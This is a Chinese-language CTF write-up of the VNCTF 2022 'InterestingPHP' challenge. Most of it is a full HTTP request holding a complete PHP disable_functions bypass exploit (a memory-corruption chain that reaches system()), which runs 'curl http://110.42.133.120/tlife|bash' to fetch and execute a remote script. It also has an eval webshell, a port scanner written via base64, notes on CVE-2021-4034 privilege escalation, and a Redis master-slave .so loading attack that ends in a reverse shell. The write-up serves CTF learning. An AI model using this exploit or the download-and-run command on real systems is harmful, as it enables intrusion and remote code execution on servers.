2022vnctf-rce小结

InterestingPHP

非预期——bypass_disable

<?php highlight_file(__FILE__); @eval($_GET['exp']);?> 

测试了一下，可以使用file_put_contents，但是其他的命令执行不了

我们可以查看一下disable_function,但是由于phpinfo()用不了

var_dump(ini_get_all());

可以发现disable_function过滤了很多东西，应该就是要绕了

既然可以写入文件，先试试一些disable_function实现rce

https://github.com/mm0r1/exploits

这里有个思路也很巧妙，学习一下，就是通过发送文件的形式，这样的话，就不用一直使用file_put_contents去写文件命令执行，可以直接在一个页面

但是需要注意发送文件的格式

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Length: 144

------WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Disposition: form-data; name="1"

var_dump("a");
------WebKitFormBoundaryj28zfvoWVxnHdp29--

然后将rce的脚本贴过来，但是不能马上用，因为disable_function中过滤了fwrite，需要找替代，使用fputs,使用CVE-2021-4034进行提权

使用一个脚本上传一下，我一直在想如何将文件写入，因为怎么写好像都有问题。

其实可以将他放在服务器上，然后利用curl命令下载过去。又掌握一个新姿势。。。我还在一直用python脚本写，而且穿过去以后，我发现使用那边的gcc也没法编译成功。。。

所以我直接在服务器编译了，然后发送过去

完整命令执行内容

POST /?exp=eval($_POST[1]); HTTP/1.1
Host: c9be48e4-3f0c-4ebd-8cc6-ba5f826890d0.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17c6332d1772a3-003cfe433760328-4c3e2679-144000-17c6332d178a88
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Length: 6949

------WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Disposition: form-data; name="1"

pwn('curl http://110.42.133.120/tlife|bash ');

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $cmd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fputs($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fputs($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
------WebKitFormBoundaryj28zfvoWVxnHdp29--

预期解:redis主从复制rce

写马进去以后，发现有一份redis的账号密码,那应该就是主从复制加载so文件了，想用插件直接试试，发现端口不是6379.猜测可能没开redis服务

学习一下：

利⽤ get_loaded_extensions() 可以看到PHP加载的插件，从中可以看到题⽬环境中加载了PHP的redis插件 （redis.so），翻找⼀下⽂档可以找到这个插件的Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作。利用 file_put_contents() 写恶意so文件，接着载入恶意.so文件模块，反弹shell至远程主机

var_dump(get_loaded_extensions());

可以发现，加载了redis的插件，尝试运行一下开启服务

还需要找到开放的端口来打在redis服务，所以还需要扫描 一下端口

<?php
highlight_file(__FILE__);
# Port scan
for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

这里有个小tip：写入文件的时候，转为base64写入就不用管转义的事了

$a="PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==";
file_put_contents("a.php",base64_decode($a));

接下来发现的步骤就还是提权了